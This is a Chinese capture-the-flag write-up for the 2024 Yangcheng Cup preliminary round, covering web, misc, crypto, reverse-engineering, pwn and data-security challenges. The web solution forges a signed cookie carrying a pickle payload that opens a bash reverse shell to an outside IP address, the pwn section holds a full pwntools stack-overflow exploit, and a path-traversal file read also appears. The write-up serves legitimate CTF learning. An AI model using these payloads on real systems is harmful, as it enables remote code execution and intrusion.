2024年“羊城杯”粤港澳大湾区网络安全大赛初赛—WriteUp By EDI

admin 2024年8月29日16:50:36评论56 views字数 23493阅读78分18秒阅读模式

01

Web

1

Lyrics For You

2024年“羊城杯”粤港澳大湾区网络安全大赛初赛—WriteUp By EDI

读源码

/lyrics?lyrics=/usr/etc/app/app.py
import osimport random
from config.secret_key import secret_codefrom flask import Flask, make_response, request, render_templatefrom cookie import set_cookie, cookie_check, get_cookieimport pickle
app = Flask(__name__)app.secret_key = random.randbytes(16)

class UserData:    def __init__(self, username):        self.username = username

def Waf(data):    blacklist = [b'R', b'secret', b'eval', b'file', b'compile', b'open', b'os.popen']    valid = False    for word in blacklist:        if word.lower() in data.lower():            valid = True            break    return valid

@app.route("/", methods=['GET'])def index():    return render_template('index.html')

@app.route("/lyrics", methods=['GET'])def lyrics():    resp = make_response()    resp.headers["Content-Type"] = 'text/plain; charset=UTF-8'    query = request.args.get("lyrics")    path = os.path.join(os.getcwd() + "/lyrics", query)
    try:        with open(path) as f:            res = f.read()    except Exception as e:        return "No lyrics found"    return res

@app.route("/login", methods=['POST', 'GET'])def login():    if request.method == 'POST':        username = request.form["username"]        user = UserData(username)        res = {"username": user.username}        return set_cookie("user", res, secret=secret_code)    return render_template('login.html')

@app.route("/board", methods=['GET'])def board():    invalid = cookie_check("user", secret=secret_code)    if invalid:        return "Nope, invalid code get out!"
    data = get_cookie("user", secret=secret_code)
    if isinstance(data, bytes):        a = pickle.loads(data)        data = str(data, encoding="utf-8")
    if "username" not in data:        return render_template('user.html', name="guest")    if data["username"] == "admin":        return render_template('admin.html', name=data["username"])    if data["username"] != "admin":        return render_template('user.html', name=data["username"])

if __name__ == "__main__":    os.chdir(os.path.dirname(__file__))    app.run(host="0.0.0.0", port=8080)
这里import了一个自定义的key,读一下,读到了secret_code
from config.secret_key import secret_code

2024年“羊城杯”粤港澳大湾区网络安全大赛初赛—WriteUp By EDI

app.py对cookie的操作是通过from cookie import set_cookie, cookie_check, get_cookie里自定义的函数进行的,读一下

import base64import hashlibimport hmacimport pickle
from flask import make_response, request
unicode = strbasestring = str

# Quoted from python bottle template, thanks :D
def cookie_encode(data, key):    msg = base64.b64encode(pickle.dumps(data, -1))    sig = base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest())    return tob('!') + sig + tob('?') + msg

def cookie_decode(data, key):    data = tob(data)    if cookie_is_encoded(data):        sig, msg = data.split(tob('?'), 1)        if _lscmp(sig[1:], base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest())):            return pickle.loads(base64.b64decode(msg))    return None

def waf(data):    blacklist = [b'R', b'secret', b'eval', b'file', b'compile', b'open', b'os.popen']    valid = False    for word in blacklist:        if word in data:            valid = True            # print(word)            break    return valid

def cookie_check(key, secret=None):    a = request.cookies.get(key)    data = tob(request.cookies.get(key))    if data:        if cookie_is_encoded(data):            sig, msg = data.split(tob('?'), 1)            if _lscmp(sig[1:], base64.b64encode(hmac.new(tob(secret), msg, digestmod=hashlib.md5).digest())):                res = base64.b64decode(msg)                if waf(res):                    return True                else:                    return False        return True    else:        return False

def tob(s, enc='utf8'):    return s.encode(enc) if isinstance(s, unicode) else bytes(s)

def get_cookie(key, default=None, secret=None):    value = request.cookies.get(key)    if secret and value:        dec = cookie_decode(value, secret)        return dec[1] if dec and dec[0] == key else default    return value or default

def cookie_is_encoded(data):    return bool(data.startswith(tob('!')) and tob('?') in data)

def _lscmp(a, b):    return not sum(0 if x == y else 1 for x, y in zip(a, b)) and len(a) == len(b)

def set_cookie(name, value, secret=None, **options):    if secret:        value = touni(cookie_encode((name, value), secret))        resp = make_response("success")        resp.set_cookie("user", value, max_age=3600)        return resp    elif not isinstance(value, basestring):        raise TypeError('Secret key missing for non-string Cookie.')
    if len(value) > 4096:        raise ValueError('Cookie value to long.')

def touni(s, enc='utf8', err='strict'):    return s.decode(enc, err) if isinstance(s, bytes) else unicode(s)

用给出的cookie函数写exp,过滤了 R

无回显,要反弹shell

import picklefrom cookie import set_cookie, cookie_encode, cookie_decode, cookie_check, get_cookie, cookie_is_encoded
secret = 'EnjoyThePlayTime123456'code = b'''(S'bash -c "bash -i >& /dev/tcp/8.134.222.157/8085 0>&1"'iossystem.'''payload = cookie_encode(("user",code), secret)print(payload)

2024年“羊城杯”粤港澳大湾区网络安全大赛初赛—WriteUp By EDI

2024年“羊城杯”粤港澳大湾区网络安全大赛初赛—WriteUp By EDI

02

Misc

1

 不一样的数据库_2

首先爆破压缩包密码753951。然后拼接二维码

2024年“羊城杯”粤港澳大湾区网络安全大赛初赛—WriteUp By EDI

NRF@WQUKTQ12345&WWWF@WWWFX#WWQXNWXNU,猜测ROT13. AES@JDHXGD12345&JJJS@JJJSK#JJDKAJKAH

用keepass软件打开密码数据库。密码是ROT13过后的AES。。。

2024年“羊城杯”粤港澳大湾区网络安全大赛初赛—WriteUp By EDI

打开之后可以找到AES密文,密钥根据提示DASCTF

2024年“羊城杯”粤港澳大湾区网络安全大赛初赛—WriteUp By EDI

得到flag

2024年“羊城杯”粤港澳大湾区网络安全大赛初赛—WriteUp By EDI

2

MISC1-hiden

import wave
with open('flag.txt', 'rb') as f:    txt_data = f.read()    file_len = len(txt_data)    txt_data = file_len.to_bytes(3, byteorder = 'little') + txt_data
with wave.open("test.wav", "rb") as f:    attrib = f.getparams()    wav_data = bytearray( f.readframes(-1) )
for index in range(len(txt_data)):    wav_data[index * 4] = txt_data[index]
with wave.open("hiden.wav", "wb") as f:    f.setparams(attrib)    f.writeframes(wav_data)

写脚本逆就可以了

import wave
with wave.open("hiden.wav", "rb") as f:    wav_data = bytearray(f.readframes(-1))
file_len = int.from_bytes(wav_data[:3 * 4:4], byteorder='little')
txt_data = bytearray()for i in range(3, 3 + file_len):    txt_data.append(wav_data[i * 4])
with open('flag.txt', 'wb') as f:    f.write(txt_data)

2024年“羊城杯”粤港澳大湾区网络安全大赛初赛—WriteUp By EDI

3

so much

010editor发现在最后有个密码1234567,但是用ATK image打开密码不对,然后想到是shift+1234567,就对了。

2024年“羊城杯”粤港澳大湾区网络安全大赛初赛—WriteUp By EDI

解压出来是这个,考虑创建时间的隐写得到

import oslist = ['']*344i = 0for j in range(344):    list[j] = os.path.getmtime('.\'+str(j)+'.crypto')    #F:competitionycb202422print(list)flag = ""for i in range(344):    if(str(list[i]) == '1628151585.0'):        flag += '0'    else:        flag += '1'print(flag)tmp = ''for k in range(len(flag)):    tmp += flag[k]    if len(tmp) == 8:        print(chr(int(tmp,2)),end='')        tmp = '' #the_key_is_700229c053b4ebbcf1a3cc37c389c4fa
利用encrypto这个软件和得到的密码700229c053b4ebbcf1a3cc37c389c4fa,解密0.crypto和1.crypto得到flag。
DASCTF{85235bd803c2a0662b771396bce9968f}

4

miaoro

流量分析cookie头用shiro RememberMe在线网址解密得到前半个Shiro rememberMe 在线解密 (potato.gold)

2024年“羊城杯”粤港澳大湾区网络安全大赛初赛—WriteUp By EDI

接着TCP流13-base64解码的时候发现倒叙的ZIP压缩包,提取出来

2024年“羊城杯”粤港澳大湾区网络安全大赛初赛—WriteUp By EDI

TCP流10的时候发现压缩包密码(需要base64解密)

2024年“羊城杯”粤港澳大湾区网络安全大赛初赛—WriteUp By EDI

压缩包里面得到的图片改一下宽高得到猫猫密文

2024年“羊城杯”粤港澳大湾区网络安全大赛初赛—WriteUp By EDI

得到后半段-A7BC-EBOFDELQDIAA}

03

Crypto

1

TH_Curve

from Crypto.Util.number import *
p = 10297529403524403127640670200603184608844065065952536889a = 2G = (8879931045098533901543131944615620692971716807984752065, 4106024239449946134453673742202491320614591684229547464)Q = (6784278627340957151283066249316785477882888190582875173, 6078603759966354224428976716568980670702790051879661797)
d=ZZ((a*G[0]**3+G[1]**3+1)*inverse(G[0]*G[1],p)%p)d_3=(d*inverse(3,p))%p
a0=1a1=-3*d_3*inverse(ZZ(a-d_3*d_3*d_3),p)a3=-9*inverse(ZZ(pow(a-d_3*d_3*d_3,2,p)),p)a2=-9*pow(d_3,2,p)*inverse(ZZ(pow(a-d_3*d_3*d_3,2,p)),p)a4=-27*d_3*inverse(ZZ(pow(a-d_3*d_3*d_3,3,p)),p)a6=-27*inverse(ZZ(pow(a-d_3*d_3*d_3,4,p)),p)
E=EllipticCurve(GF(p),[a1,a2,a3,a4,a6])
tou=lambda x,y:((-3*inverse(ZZ(a - pow(d_3,3,p)),p))*x*inverse(ZZ(x*d_3 - (-y) + 1),p))%ptov=lambda x,y:((-9*inverse(ZZ(pow(a - pow(d_3,3,p),2,p)),p))*(-y)*inverse(ZZ(d*(x*inverse(3,p))%p - (-y) + 1),p))%ptoweierstrass=lambda g:(ZZ(tou(g[0],g[1])),ZZ(tov(g[0],g[1]))) 
Ge=E(toweierstrass(G))Qe=E(toweierstrass(Q))
order_list=eval(str(factor(Ge.order())).replace('*',',').replace('^','**'))order_list=list(order_list)
Ni=lambda i:prod(order_list)//order_list[i]
tl=[]for i in range(len(order_list)-1):    g_=Ge*Ni(i)    q_=Qe*Ni(i)    tt=discrete_log(q_,g_,operation='+')    tl.append(ZZ(tt))    print(order_list[i],tt)
m=crt([3,0,0,7,8,225,3560,837823,1495286767,292393302300],order_list[:-1])print(long_to_bytes(ZZ(m)))

2

BabyCurve

from Crypto.Util.number import *
a = 46d = 20p1 = 826100030683243954408990060837K1 = (a, d, p1)G1 = (560766116033078013304693968735, 756416322956623525864568772142)
P1 = (528578510004630596855654721810, 639541632629313772609548040620)Q1 = (819520958411405887240280598475, 76906957256966244725924513645)
a1 = 0a2 = -aa3 = 0a4 = ZZ((a^2-d)*inverse(4,p1)%p1)a6 = 0
E=EllipticCurve(GF(p1),[a1,a2,a3,a4,a6])
tou=lambda x,y:((a+(y+1)*pow(x,-2,p1))*inverse(2,p1))%p1tov=lambda x,y:((a+(y+1)*pow(x,-2,p1))*inverse(2*x,p1))%p1toweierstrass=lambda g:(ZZ(tou(g[0],g[1])),ZZ(tov(g[0],g[1]))) 
Ge=E(toweierstrass(G1))Pe=E(toweierstrass(P1))Qe=E(toweierstrass(Q1))
c=ZZ(discrete_log(Pe,Ge,operation='+'))b=ZZ(discrete_log(Qe,Ge,operation='+'))
p = 770311352827455849356512448287E = EllipticCurve(GF(p), [-c, b])
assert (p^2-1)%E.order()==0
def mov_attack(E, P, xP, a, b, p):    order = E.order()    k = 1    while (p^k - 1) % order:        k += 1
    Fy = GF(p^k, 'y')    Ee = EllipticCurve(Fy, [a, b])
    Pe = Ee(P)    xPe = Ee(xP)
    R = Ee.random_point()    m = R.order()    d = gcd(m, P.order())    Q = (m//d)*R
    assert P.order()/Q.order() in ZZ    assert P.order() == Q.order()
    n = P.order()    alpha = Pe.weil_pairing(Q, n)    beta = xPe.weil_pairing(Q, n)
    dd = beta.log(alpha)    return dd
G = E(584273268656071313022845392380,105970580903682721429154563816)P=E(401055814681171318348566474726,293186309252428491012795616690)
k=ZZ(mov_attack(E, G, P, -c, b, p))
from Crypto.Cipher import AESimport hashlib
key = hashlib.sha256(str(k).encode()).digest()[:16]

data = {'iv': 'bae1b42f174443d009c8d3a1576f07d6', 'cipher': 'ff34da7a65854ed75342fd4ad178bf577bd622df9850a24fd63e1da557b4b8a4'}aes = AES.new(key, AES.MODE_CBC, bytes.fromhex(data['iv']))m = aes.decrypt(bytes.fromhex(data['cipher']))print(m)

3

RSA_loss

x = m+k*n

构造格进行爆破

from sage.all import *from gmpy2 import *from Crypto.Util.number import *from tqdm import *import itertools

p = 898278915648707936019913202333q = 814090608763917394723955024893n = p*qprint(n)chars = 'abcdefghijklmnopqrstuvwxyz0123456789_'
m = bytes_to_long(b'Xxeex1eyx88x01dXxf6ix91x80hxf4x1f!xa7"x0cx9ax06xc8x06x81x15')#print(m)#pre = bytes_to_long(b'DASCTF{')#pre = bytes_to_long(b'DAS{' + b'x00'*(l-6) + b'}') + m*2^8#m= 346066443569877808597016287621011422382513019759749775786002n= 731280429280248247026696559685267215161002993940686360675369T = 2^1000
for i in tqdm(range(34,40)):    for t in itertools.product(chars, repeat=4):        w = ''.join(t)        prex = b'DASCTF{'+ w.encode()        #print(prex)        pre = bytes_to_long(prex + b'x00'*(i-8-4) + b'}')# + m*2^8        #print(pre)        M = Matrix(ZZ,3,3,[[1,0,1*T],                   [0,2^(8*i),(pre-m)*T],                   [0,0,n*T]])        res = M.LLL()        for j in res:            if abs(j[1]) == 2**(8*i):                xx = abs(j[0])+pre                if prex in long_to_bytes(int(xx)) and long_to_bytes(int(xx))[-1]==125 and len(long_to_bytes(int(xx)))<38:                    print(long_to_bytes(int(xx)))

2024年“羊城杯”粤港澳大湾区网络安全大赛初赛—WriteUp By EDI

flag: DASCTF{o0p5_m3ssaGe_to0_b1g_nv93nd0}

4

TheoremPlus

from Crypto.Util.number import *import gmpy2
e = prime_pi(703440151)-2n = 18770575776346636857117989716700159556553308603827318013591587255198383129370907809760732011993542700529211200756354110539398800399971400004000898098091275284235225898698802555566416862975758535452624647017057286675078425814784682675012671384340267087604803050995107534481069279281213277371234272710195280647747033302773076094600917583038429969629948198841325080329081838681126456119415461246986745162687569680825296434756908111148165787768172000131704615314046005916223370429567142992192702888820837032850104701948658736010527261246199512595520995042205818856177310544178940343722756848658912946025299687434514029951c = 2587907790257921446754254335909686808394701314827194535473852919883847207482301560195700622542784316421967768148156146355099210400053281966782598551680260513547233270646414440776109941248869185612357797869860293880114609649325409637239631730174236109860697072051436591823617268725493768867776466173052640366393488873505207198770497373345116165334779381031712832136682178364090547875479645094274237460342318587832274304777193468833278816459344132231018703578274192000016560653148923056635076144189403004763127515475672112627790796376564776321840115465990308933303392198690356639928538984862967102082126458529748355566
a=gmpy2.iroot(n,2)sn=a[0]for i in range(1,2000):  t=(sn+i)**2-n  aa,_=gmpy2.iroot(t,2)  if _:    p=sn+i+aaq=n//pd=inverse(e,(p-1)*(q-1))print(long_to_bytes(ZZ(pow(c,d,n))))
04

Re

1

docCrack

上传微步,得到VBA代码

2024年“羊城杯”粤港澳大湾区网络安全大赛初赛—WriteUp By EDI

格式化一下可以看到这里将flag xor了一个0x7

2024年“羊城杯”粤港澳大湾区网络安全大赛初赛—WriteUp By EDI

下载temp.exe

2024年“羊城杯”粤港澳大湾区网络安全大赛初赛—WriteUp By EDI

将temp.exe放到ida64中分析

int __fastcall main_0(int argc, const char **argv, const char **envp){  char *v3; // rdi  __int64 i; // rcx  char v6; // [rsp+20h] [rbp+0h] BYREF  int v7[125]; // [rsp+30h] [rbp+10h]  int j; // [rsp+224h] [rbp+204h]
  v3 = &v6;  for ( i = 138i64; i; --i )  {    *v3 = -858993460;    v3 += 4;  }  j___CheckForDebuggerJustMyCode(&unk_14002200E, argv, envp);  v7[0] = 4288;  v7[1] = 4480;  v7[2] = 5376;  v7[3] = 4352;  v7[4] = 5312;  v7[5] = 4160;  v7[6] = 7936;  v7[7] = 5184;  v7[8] = 6464;  v7[9] = 6528;  v7[10] = 5632;  v7[11] = 3456;  v7[12] = 7424;  v7[13] = 5632;  v7[14] = 6336;  v7[15] = 6528;  v7[16] = 6720;  v7[17] = 6144;  v7[18] = 6272;  v7[19] = 7488;  v7[20] = 6656;  v7[21] = 7296;  v7[22] = 7424;  v7[23] = 2432;  v7[24] = 2432;  v7[25] = 2432;  v7[26] = 5632;  v7[27] = 4416;  v7[28] = 3456;  v7[29] = 7168;  v7[30] = 6528;  v7[31] = 7488;  v7[32] = 6272;  v7[33] = 5632;  v7[34] = 3520;  v7[35] = 6208;  v7[36] = 5632;  v7[37] = 4736;  v7[38] = 6528;  v7[39] = 6400;  v7[40] = 7488;  v7[41] = 3520;  v7[42] = 5632;  v7[43] = 5184;  v7[44] = 3456;  v7[45] = 7488;  v7[46] = 7296;  v7[47] = 3200;  v7[48] = 6272;  v7[49] = 7424;  v7[50] = 2432;  v7[51] = 2432;  v7[52] = 2432;  v7[53] = 7808;  if ( argc == 2 )  {    for ( j = 0; j < j_strlen(argv[1]) && j < 0x36; ++j )      v7[j + 64] = argv[1][j] << 6;    for ( j = 0; j < 0x36; ++j )    {      if ( v7[j] != v7[j + 64] )      {        sub_140011190("bad");        return 0;      }    }    sub_140011190("good");    return 0;  }  else  {    sub_140011190("no way!!!");    return 1;  }}

写出对应的解密脚本

preset_values = [    4288, 4480, 5376, 4352, 5312, 4160, 7936, 5184, 6464, 6528, 5632,    3456, 7424, 5632, 6336, 6528, 6720, 6144, 6272, 7488, 6656, 7296,    7424, 2432, 2432, 2432, 5632, 4416, 3456, 7168, 6528, 7488, 6272,    5632, 3520, 6208, 5632, 4736, 6528, 6400, 7488, 3520, 5632, 5184,    3456, 7488, 7296, 3200, 6272, 7424, 2432, 2432, 2432, 7808]


flag = []for i in range(0,len(preset_values)):    tmp = (preset_values[i] >> 6 ) & 0xffff    tmp ^= 0x7    flag.append(tmp)
print("".join(map(chr,flag)))
FLAG:DASCTF{Vba_1s_dangerous!!!_B1ware_0f_Macr0_V1ru5es!!!}**

2

pic

具体分析如下图所示

2024年“羊城杯”粤港澳大湾区网络安全大赛初赛—WriteUp By EDI

这个是初始化S盒

2024年“羊城杯”粤港澳大湾区网络安全大赛初赛—WriteUp By EDI

爆破脚本

def rc4(key, data):    S = list(range(256))    j = 0
    # 1.初始化置换表    for i in range(256):        j = (j + S[i] + key[i % len(key)]) % 256        S[i], S[j] = S[j], S[i]
    i = j = 0    result = []        # 2.进行RC4加密    for char in data:        i = (i + 1) % 256        j = (j + S[i]) % 256        S[i], S[j] = S[j], S[i]        K = S[(S[i] + S[j]) % 256]        # 3.注意这里xor了0x11        result.append(char ^ K ^ 0x11)        return bytes(result)
def read_data(filename):    with open(filename, "rb") as file:        return file.read()
def brute_force_key(enc, magic, table):    for i in table:        for j in table:            for k in table:                for l in table:                    for m in table:                        key = [i, j, k, l, m]                        tmp = list(enc)                        for cnt in range(len(tmp)):                            tmp[cnt] ^= key[1]                                                ans = rc4(key, tmp)                        if ans == magic:                            return bytes(key)
# 定义加密密钥和魔术数字enc = b"x85x43x72x78"magic = b"x89x50x4Ex47"table = b"0123456789abcdef"
# 读取数据,这里将原来的flag.png备份了一下data = read_data("./bak.png")
# 尝试破解密钥found_key = brute_force_key(enc, magic, table)if found_key:    print("Found key:", found_key.decode())

运行脚本

得到key:0173d

输入到程序中解密

2024年“羊城杯”粤港澳大湾区网络安全大赛初赛—WriteUp By EDI

得到flag:`good_y0u_get_the_ffffflag!`
05

Pwn

1

logger

'''logger wp思路 通过c++异常处理跳转到指定gadget上,且程序在0x401bc7(类型为catch(char const*))处存在后门可以直接利用其参数经调试为0x4040a0中字符串 可以通过trace()函数可以在i为8时修改0x4040a0溢出长度为0x78exp如下:'''#!/usr/bin/env python3# -*- coding: utf-8 -*-# This exploit template was generated via:# $ pwn template --host 127.0.0.1 --port 8888 ./loggerfrom pwn import *TERM_PROGRAM=os.getenv('TERM_PROGRAM')if TERM_PROGRAM=='tmux':  context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P']elif TERM_PROGRAM== 'gnome-terminal':  context.terminal=['gnome-terminal','--window','-x','sh','-c']# Set up pwntools for the correct architectureexe = context.binary = ELF(args.EXE or './logger')
# Many built-in settings can be controlled on the command-line and show up# in "args".  For example, to dump all data sent/received, and disable ASLR# for all created processes...# ./exploit.py DEBUG NOASLR# ./exploit.py GDB HOST=example.com PORT=4141 EXE=/tmp/executablehost = args.HOST or '139.155.126.78'port = int(args.PORT or 30921)

def start_local(argv=[], *a, **kw):    '''Execute the target binary locally'''    if args.GDB:        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)    else:        return process([exe.path] + argv, *a, **kw)
def start_remote(argv=[], *a, **kw):    '''Connect to the process on the remote host'''    io = connect(host, port)    if args.GDB:        gdb.attach(io, gdbscript=gdbscript)    return io
def start(argv=[], *a, **kw):    '''Start the exploit against the target.'''    if args.LOCAL:        return start_local(argv, *a, **kw)    else:        return start_remote(argv, *a, **kw)
# Specify your GDB script here for debugging# GDB will be launched if the exploit is run via e.g.# ./exploit.py GDBgdbscript = '''#b *0x401842b *0x40190bb *0x401bc7'''.format(**locals())
#===========================================================#                    EXPLOIT GOES HERE#===========================================================# Arch:     amd64-64-little# RELRO:      Full RELRO# Stack:      Canary found# NX:         NX enabled# PIE:        No PIE (0x400000)# SHSTK:      Enabled# IBT:        Enabledio = start()sa=lambda x,y:io.sendafter(x,y)sal=lambda x,y:io.sendlineafter(x,y)rv=lambda x:io.recv(x)rvl=lambda x:io.recvuntil(x)debug_addr=lambda x:log.success(message=f"�33[7m{x}-->{hex(eval(x))}�33[0m")# shellcode = asm(shellcraft.sh())# payload = fit({#     32: 0xdeadbeef,#     'iaaa': [1, 2, 'Hello', 3]# }, length=128)# io.send(payload)# flag = io.recv(...)# log.success(flag)#context(log_level='DEBUG')def cmd(ch):    sal("Your chocie:",str(ch))def trace(log):    cmd(1)    sa("here:",log)    sal("records?",'y')def warn(msg):    cmd(2)    rvl('31m')    sa("plz: ",msg)rw_addr=0x404020leave_ret=0x4019C8char_addr=0x401A37for i in range(0x9):    trace(b"/bin/shx00".ljust(0x10,b'x00')) # 修改0x4040a0 为/bin/shwarn(b'x00'*0x70+p64(rw_addr+18)+p64(0x401bc7)) #栈溢出 rw_addr+0x18需要为可写地址 mov    qword ptr [rbp - 18h], raxio.interactive()#DASCTF{85702416430865619728515745682623} 
06

数据安全

1

数据安全-1

import pandas as pd
# 读取CSV文件,从第二行开始file_path = './person_data.csv'  # 替换为你的CSV文件路径df = pd.read_csv(file_path, skiprows=1, header=None)
# 处理后的数据存储processed_rows = []
# 逐行处理DataFramefor index, row in df.iterrows():    values = row.tolist()  # 将行数据转换为列表
    # 初始化字段    user_id = ''    username = ''    password = ''    name = ''    gender = ''    birth_date = ''    id_number = ''    phone_number = ''
    # 逐个处理值    for i in values:        i_str = str(i)  # 确保 i 以字符串形式处理
        # 提取性别        if i_str == "男" or i_str == "女":            gender = i_str
        # 提取编号        elif i_str == str(index + 1):            user_id = i_str
        # 提取32位字符串作为密码        elif len(i_str) == 32:            password = i_str
        # 提取姓名(长度大于1且全为中文)        elif isinstance(i, str) and len(i) > 1 and all('u4e00' <= char <= 'u9fff' for char in i):            name = i
        # 提取出生日期(8位数字)        elif len(i_str) == 8 and i_str.isdigit():            birth_date = i_str
        # 提取身份证号(18位,包括最后一个字符可能是字母'X')        elif len(i_str) == 18 and (i_str.isdigit() or (i_str[:-1].isdigit() and i_str[-1].upper() == 'X')):            id_number = i_str
        # 提取手机号(11位数字)        elif len(i_str) == 11 and i_str.isdigit():            phone_number = i_str
        # 提取用户名(剩下的值)        elif username == '' and not (i_str.isdigit() and len(i_str) in [8, 11, 18] or len(i_str) == 32):            username = i_str
    # 创建新行数据    new_row = [user_id, username, password, name, gender, birth_date, id_number, phone_number]    processed_rows.append(new_row)
# 将处理后的数据转回DataFrameprocessed_df = pd.DataFrame(processed_rows, columns=['编号', '用户名', '密码', '姓名', '性别', '出生日期', '身份证号', '手机号码'])
# 输出处理后的DataFrame内容print("n处理后的DataFrame内容:")print(processed_df)
# 保存处理后的DataFrame到新的CSV文件processed_df.to_csv('./processed_person_data.csv'index=False)

2

数据安全2

先把流量导出json,处理json数据


import jsonimport csv
with open('./test.json', 'r', encoding='utf') as file:   json_str = file.read()   json_dict = json.loads(json_str)   file.close()output_file = "./new.csv"with open(output_file, mode='w', newline='', encoding='utf-8') as outfile:   writer = csv.writer(outfile)   writer.writerow(['username', 'name', 'sex', 'birth', 'idcard', 'phone'])   for i in range(10000):      try:         restored_row = [None] * 6         restored_row[0] = json_dict[i]['_source']['layers']['json']['json.object']['username.member_tree']['json.value.string']         restored_row[1] = json_dict[i]['_source']['layers']['json']['json.object']['name.member_tree']['json.value.string'].encode().decode('unicode_escape')         restored_row[2] = json_dict[i]['_source']['layers']['json']['json.object']['sex.member_tree']['json.value.string'].encode().decode('unicode_escape')         restored_row[3] = json_dict[i]['_source']['layers']['json']['json.object']['birth.member_tree']['json.value.string']         restored_row[4] = json_dict[i]['_source']['layers']['json']['json.object']['idcard.member_tree']['json.value.string']         restored_row[5] = json_dict[i]['_source']['layers']['json']['json.object']['phone.member_tree']['json.value.string']         writer.writerow(restored_row)      except:         pass   outfile.close()print("kill")

借助AI

import osimport pandas as pdimport jsonimport re# 指定保存文件的文件夹路径folder_path = 'C:/Users/10666/Desktop/tempdir/DS附件'processed_rows = []# 遍历文件夹下的所有文件def is_all_chinese(string):    # 使用正则表达式匹配是否全为中文字符    return bool(re.fullmatch(r'[u4e00-u9fff]+', string))
def calculate_checksum(id_number):    # 系数列表,从第1位到第17位分别是7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2    coefficients = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2]
    # 校验码对照表    check_code_table = ['1', '0', 'X', '9', '8', '7', '6', '5', '4', '3', '2']
    # 确保输入的是17位数字    if len(id_number) != 17 or not id_number.isdigit():        raise ValueError("身份证号码前17位必须是17位数字")
    # 计算加权和    total_sum = 0    for i in range(17):        total_sum += int(id_number[i]) * coefficients[i]
    # 计算余数    remainder = total_sum % 11
    # 查找校验码    checksum = check_code_table[remainder]
    return checksumtrue_num=[734, 735, 736, 737, 738, 739, 747, 748, 750, 751, 752, 757, 758, 759, 772,778, 782, 783, 784, 787, 788, 795, 798, 730, 731, 732, 740, 745, 746, 755,756, 766, 767, 771, 775, 776, 785, 786, 796, 733, 749, 753, 773, 774, 777,780, 781, 789, 790, 791, 793, 799]
file_path = './new.csv' df = pd.read_csv(file_path, skiprows=1, header=None)
for index, row in df.iterrows():    values = row.tolist()  # 将行数据转换为列表    #正确的条件    # 1.用户名由数字和字母组成    # 2.姓名全是中文    # 3.性别要和身份证的倒二位一致    flag2 = False    flag3 = False    flag4 = False    flag5 = True    flag6 = False    flag8 = True    if(is_all_chinese(values[1])==False):        flag2=True    if(int(values[4][-2])%2==0 and values[2]=='女'):        flag3=True    elif(int(values[4][-2])%2==1 and values[2]=='男'):        flag3 = True    #flag3 =    if(values[3]==int(values[4][6:14])):        flag4 = True
    if(calculate_checksum(values[4][:-1])==values[4][-1]):        flag5 = True    else:        flag5= False
    if(int(str(values[5])[:3]) in true_num and str(values[5]).isdigit()):        flag6=True    if(values[5]==79617328011):        flag9=1    if((values[4][:3])=='000'):        flag8=False    if (values[0].isalnum() and is_all_chinese(values[1]) and flag3 and flag4 and flag5 and flag6):        continue    else:        username = values[0]        name = values[1]        sex = values[2]        birth = values[3]        idcard = values[4]        phone = values[5]        # 创建新行数据        new_row = [username, name, sex, birth, idcard, phone]        processed_rows.append(new_row)
# 将处理后的数据转回DataFrame    processed_df = pd.DataFrame(processed_rows, columns=['username', 'name', 'sex', 'birth', 'idcard', 'phone'])
# 输出处理后的DataFrame内容print("n处理后的DataFrame内容:")print(processed_df)
# 保存处理后的DataFrame到新的CSV文件processed_df.to_csv('./save_data.csv', index=False)print(is_all_chinese("UUUUU"))

2024年“羊城杯”粤港澳大湾区网络安全大赛初赛—WriteUp By EDI

3

数据安全3

赛后出的,比赛时一直卡在57%。后来发现3476个人中有2000个有密码,有密码的正好57%,所以直接删除就行了。

import urllib.parseimport hashlibdef generate_name(encoded_str):    decoded_str = urllib.parse.unquote(encoded_str)    #print(decoded_str)    s = decoded_str    if len(s) > 2:  # 确保字符串足够长以包含中间字符        replacement = '*' * (len(s) - 2)  # 生成与中间字符数量等长的星号字符串        new_str = s[0] + replacement + s[-1]    else:        # 如果字符串过短,则无法替换中间字符        replacement = '*' * (len(s) - 1)        new_str = s[0] + replacement     return new_str#486623197507294882 变成******1975********def generate_idcard(idcard):    return "*" * 6 + idcard[6:10] + "*" * 8
def generate_phone(phone):    return phone[0:3] + "****" + phone[-4:]#username=fi9coder&name=%E5%85%9A%E5%B7%8D%E6%98%82&idcard=486623197507294882&phone=79560722152 帮我拆分username,name,idcard,phonedef split_str(str_list):    #divide the string    str_list = str_list.split('&')    username = str_list[0].split('=')[1]    name = str_list[1].split('=')[1]    idcard = str_list[2].split('=')[1]    phone = str_list[3].split('=')[1]    return username,name,idcard,phone
#xe6x82xa8xe7x9ax84xe4xbfxa1xe6x81xafxe5xbdx95xe5x85xa5xe6x88x90xe5x8ax9fxefxbcx81nxe6x82xa8xe7x9ax84xe5xafx86xe7xa0x81xe4xb8xba: wangmingn 拆分出wangmingdef split_passwd(str_list):    str_list = str_list.strip()    passwd = str_list.split(': ')[-1][:-2]    return passwd
def generate_md5(str_raw):    #if len(str_raw) == 0:    #    return ''    #else:        #md5    str_raw = hashlib.md5(str_raw.encode('utf-8')).hexdigest()    return str_raw
with open('error.log', 'r') as fp:    data_all = fp.readlines()
name_set = {}idcard_set = {}phone_set = {}passwd_set = {}username_now = ''index = 0for i in data_all:    if 'username' in i:        username,name,idcard,phone = split_str(i.strip())        username_now = username        #username = generate_name(username)        #name = generate_name(name)        #idcard = generate_idcard(idcard)        #phone = generate_phone(phone)        # print(username)        # print(name)        # print(idcard)        # print(phone)        name_set[username] = name        idcard_set[username] = idcard        phone_set[username] = phone        passwd_set[username_now] = ''    if r"xba:" in i:                passwd = split_passwd(i)        passwd_set[username_now] = passwd
import pandas as pd
#遍历passwd_set, 去除值为空的元素#创建一个新的dict,拷贝passwd_setpasswd_set_new = dict(passwd_set)for key, value in passwd_set.items():    if value == '':        del passwd_set_new[key]        del name_set[key]        del idcard_set[key]        del phone_set[key]
print(len(name_set))print(len(idcard_set))print(len(phone_set))print(len(passwd_set_new))
